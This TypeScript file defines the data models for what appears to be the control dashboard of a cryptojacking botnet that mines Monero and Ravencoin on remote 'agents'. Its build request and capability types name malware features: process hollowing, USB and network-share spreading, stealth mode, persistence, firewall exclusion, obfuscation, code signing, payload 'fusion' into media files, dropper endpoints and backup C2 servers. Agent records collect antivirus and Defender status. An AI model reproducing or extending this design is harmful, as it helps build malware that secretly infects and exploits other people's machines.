/**
 * Dashboard TypeScript models — compile-time contracts only.
 *
 * These interfaces mirror server JSON (`server/internal/models`, `ws_types.go`).
 * There are no runtime validators or schema guards here; API responses are trusted
 * after auth and validated ad hoc where it matters (forms, forge preflight, etc.).
 * Drift is caught by unit tests, shared WS type tests, and integration tests — not
 * by automatic parsing of every endpoint payload.
 */

export interface Agent {
  id: string;
  name: string;
  wallet: string;
  ip: string;
  version: string;
  status: 'online' | 'offline' | 'error';
  cpu_cores: number;
  memory_gb: number;
  last_seen: string;
  created_at: string;
  hashrate_15s: number;
  hashrate_1m: number;
  hashrate_15m: number;
  shares_total: number;
  shares_good: number;
  shares_bad: number;
  cpu_usage_pct: number;
  memory_usage_pct: number;
  uptime_seconds: number;
  notes?: string;
  tags?: string[];
  platform?: string;
  arch?: string;
  os_version?: string;
  capabilities?: AgentCapabilities;
  // Listen ports count (full list via listen_ports command)
  listen_port_count?: number;

  // DNS config — T1016
  dns_servers?: string[];
  dns_search_domains?: string[];
  dns_drifted?: boolean;

  // Resource pressure
  cpu_freq_mhz?: number;
  cpu_max_mhz?: number;
  cpu_throttle?: boolean;
  cpu_temp_c?: number;
  disk_free_gb?: number;
  disk_total_gb?: number;
  disk_free_pct?: number;
  gpu_temp_c?: number;
  gpu_usage_pct?: number;

  // GPU / Ravencoin mining
  gpu_miner_active?: boolean;
  gpu_hashrate_15s?: number;
  gpu_hashrate_1m?: number;
  gpu_hashrate_15m?: number;
  gpu_model?: string;

  ssh_available?: boolean;
  posture_score?: number;
  last_patch_days?: number;
  defender_enabled?: boolean;
  defender_rtp?: boolean;
  av_products?: string[];
  firewall_domain?: boolean;
  firewall_private?: boolean;
  firewall_public?: boolean;
  last_patch?: string;        // ISO date YYYY-MM-DD
  pending_updates?: number;   // -1 = unknown
  reboot_pending?: boolean;
  agent_elevated?: boolean;
  services?: AgentService[];

  hostname?: string;
  mac_address?: string;
  // Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
  latency_ms?: number;
}

export interface AgentService {
  name: string;
  display_name?: string;
  status: 'running' | 'stopped' | 'not_found';
  start_type: 'auto' | 'manual' | 'disabled' | 'unknown';
}

export interface AgentCapabilities {
  hole_punch: boolean;
  remote_aggressive: boolean;
  mesh_p2p: boolean;
  auto_spread: boolean;
  process_hollowing: boolean;
  ai_enabled: boolean;
}

export interface Share {
  id: number;
  agent_id: string;
  job_id: string;
  difficulty: number;
  accepted: boolean;
  hash: string;
  nonce: string;
  error?: string;
  timestamp: string;
}

export interface HashrateSample {
  id: number;
  agent_id: string;
  hashrate: number;
  timestamp: string;
}

export interface ServerInfo {
  port: number;
  host: string;
  local_ips: string[];
  suggested_url: string;
  dashboard_url: string;
  websocket_url: string;
}

export interface BuildExtraFile {
  file_name: string;
  file_path?: string;
}

export interface BuildRecord {
  id: string;
  worker_name: string;
  server_url: string;
  wallet: string;
  threads: number;
  file_size: number;
  file_path: string;
  file_name?: string;
  created_at: string;
  pool_host: string;
  pool_port: number;
  pool_tls: boolean;
  pool_pass: string;
  platform?: string;
  bundle_size?: number;
  /** Always set by the server (defaults to /builds/{id}/download when not a ZIP artifact). */
  download_url: string;
  extra_files?: BuildExtraFile[];
  /** When true this build is served by /get and /install.* dropper endpoints */
  pinned?: boolean;
}

/** Alias used in components that deal with forged builds */
export type Build = BuildRecord;

export interface FleetStats {
  total_agents: number;
  online_agents: number;
  total_hashrate: number;
  total_shares: number;
  accepted_shares: number;
  rejected_shares: number;
  accept_rate: number;
}

export interface ServerConfig {
  port: number;
  data_dir: string;
  pool: PoolConfig;
  wallet: WalletConfig;
  /** Ravencoin / GPU mining default pool — pre-populated in Forge when set. */
  rvn_pool?: PoolConfig;
  /** Ravencoin wallet address default. */
  rvn_wallet?: WalletConfig;
  server: ServerSettings;
  alerts: AlertsConfig;
  /** @deprecated Legacy JSON only — Forge bakes per-miner settings; not used by Calibrate UI. */
  default_agent_config?: AgentDefaults;
  /** @deprecated Legacy JSON only — not used at runtime. */
  background?: BackgroundConfig;
}

export interface ServerSettings {
  public_url: string;
  stats_retention_hours: number;
  build_retention_days: number;
  pool_reconnect_seconds: number;
  websocket_ping_seconds: number;
  max_agents: number;
  max_build_size_mb: number;
  log_agent_connections: boolean;
  log_share_submissions: boolean;
  log_pool_traffic: boolean;
  strict_wallet_validation: boolean;
  dashboard_subtitle: string;
  open_firewall_on_start: boolean;
  obfuscate_default?: boolean;
  sign_enabled?: boolean;
  sign_cert_thumbprint?: string;
  sign_tool_path?: string;
  sign_timestamp_url?: string;
}

export interface PoolEndpoint {
  host: string;
  port: number;
  use_tls: boolean;
}

export interface PoolConfig {
  host: string;
  port: number;
  use_tls: boolean;
  password: string;
  /** Failover pools — tried in order when the primary is unreachable. */
  backup_pools?: PoolEndpoint[];
}

export interface WalletConfig {
  address: string;
  payment_id: string;
}

export interface AgentDefaults {
  threads: number;
  thread_mode: string;
  thread_percent: number;
  cpu_priority: string;
  max_cpu_usage_pct: number;
  max_memory_percent: number;
  min_free_ram_mb: number;
  mining_mode: string;
  display_mode: string;
  process_name: string;
  idle_threshold_pct: number;
  idle_duration_minutes: number;
  schedule_start: string;
  schedule_end: string;
  install_base: string;
  install_custom_base: string;
  install_relative_path: string;
  adapt_to_hardware: boolean;
  self_healing: boolean;
  file_logging: boolean;
  stealth_mode: boolean;
}

export interface BackgroundConfig {
  silent_mode: boolean;
  run_as: string;
  auto_start: boolean;
}

export interface AlertsConfig {
  offline_threshold_minutes: number;
  hashrate_drop_threshold_pct: number;
  rejection_rate_threshold_pct: number;
  telegram_bot_token?: string;
  telegram_chat_id?: string;
  email_enabled?: boolean;
  smtp_host?: string;
  smtp_port?: number;
  smtp_user?: string;
  smtp_password?: string;
  email_to?: string;
  email_from?: string;
}

export interface FleetAlert {
  id: string;
  level: 'warn' | 'error';
  type: string;
  agent_id?: string;
  agent_name?: string;
  message: string;
  timestamp: string;
}

export interface PoolStatus {
  key: string;
  host: string;
  port: number;
  use_tls: boolean;
  wallet: string;
  connected: boolean;
  status: 'green' | 'yellow' | 'red';
}

export interface AIActivityEntry {
  agent_id: string;
  last_decide_at?: string;
  last_action?: string;
  last_tool?: string;
  tool_call_count?: number;
  last_reasoning?: string;
  last_report_at?: string;
  last_success?: boolean;
}

export interface EarningsEstimate {
  hashrate: number;
  xmr_per_day: number;
  note: string;
}

export interface XmrPrice {
  usd: number;
  fetched_at: string;
  source: string;
}

export interface BuildRequest {
  worker_name: string;
  server_url: string;
  wallet: string;
  /** Relative folder under server data_dir to also copy the built exe into. */
  output_dir?: string;
  threads: number;
  thread_mode: string;
  thread_percent: number;
  cpu_priority: string;
  mining_mode: string;
  display_mode: string;
  silent_mode: boolean;
  run_as: string;
  auto_start: boolean;
  persistence: boolean;
  process_name: string;
  max_cpu_usage_pct: number;
  max_memory_percent: number;
  min_free_ram_mb: number;
  idle_threshold_pct: number;
  idle_duration_minutes: number;
  schedule_start: string;
  schedule_end: string;
  install_base: string;
  install_custom_base: string;
  install_relative_path: string;
  adapt_to_hardware: boolean;
  self_healing: boolean;
  file_logging: boolean;
  stealth_mode: boolean;
  firewall_exclusion: boolean;
  pool_host: string;
  pool_port: number;
  pool_tls: boolean;
  pool_pass: string;
  fusion_enabled: boolean;
  fusion_run_order: string;
  fusion_output_name: string;
  fusion_payload_kind?: string;
  fusion_media_mode?: string;
  fusion_media_base_name?: string;
  fusion_export_subdir?: string;
  // AI Autonomy (Ollama)
  ai_enabled: boolean;
  ai_ollama_endpoint: string;
  ai_model: string;
  // Advanced (off by default — enable only on owned/administered fleets)
  process_hollowing?: boolean;
  mesh_p2p?: boolean;
  auto_spread?: boolean;
  hole_punch?: boolean;
  remote_aggressive?: boolean;
  usb_spread?: boolean;
  share_spread?: boolean;
  target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
  target_arch?: string;
  spread_kit?: boolean;
  obfuscate?: boolean;
  sign_build?: boolean;
  // Cancel token — set by the client before forging. Pass the same value to
  // DELETE /api/v1/builder/cancel/{token} to kill the compile mid-flight.
  cancel_token?: string;
  // Backup pools tried in order if the primary pool is unreachable.
  backup_pools?: BackupPool[];
  // Backup C2 server URLs tried if the primary server_url is unreachable.
  backup_server_urls?: string[];
  // GPU / Ravencoin mining
  gpu_enabled?: boolean;
  rvn_wallet?: string;
  rvn_pool_host?: string;
  rvn_pool_port?: number;
  rvn_pool_tls?: boolean;
  rvn_pool_pass?: string;
  rvn_backup_pools?: BackupPool[];
}

/** Fallback Stratum pool baked into the agent at forge time. */
export interface BackupPool {
  host: string;
  port: number;
  tls: boolean;
  pass?: string;
}

export interface FusionEstimate {
  prep_bytes: number;
  prep_name: string;
  estimated_worker_bytes: number;
  estimated_fusion_stub_bytes: number;
  estimated_resource_patch_bytes: number;
  estimated_total_bytes: number;
  output_file_name: string;
  project_root_path: string;
  archive_path_hint: string;
  export_path?: string;
  obfuscate: boolean;
  sign_build: boolean;
  notes: string[];
}

export interface BuildResponse {
  success: boolean;
  build_id?: string;
  file_name?: string;
  file_path?: string;
  relative_path?: string;
  file_size?: number;
  download_url?: string;
  uninstall_file_name?: string;
  uninstall_path?: string;
  uninstall_download_url?: string;
  export_path?: string;
  uninstall_export_path?: string;
  error?: string;
  fusion_enabled?: boolean;
  fusion_export_dir?: string;
  extra_files?: BuildExtraFile[];
  bundle_file_name?: string;
  bundle_download_url?: string;
  bundle_size?: number;
  worker_file?: string;
  signed?: boolean;
  obfuscated?: boolean;
}

export interface BlueprintInfo {
  name: string;
  size: number;
  created_at: string;
  data?: any;
}

export interface WSMessage {
  type: string;
  payload: import('./ws').WSPayload;
}
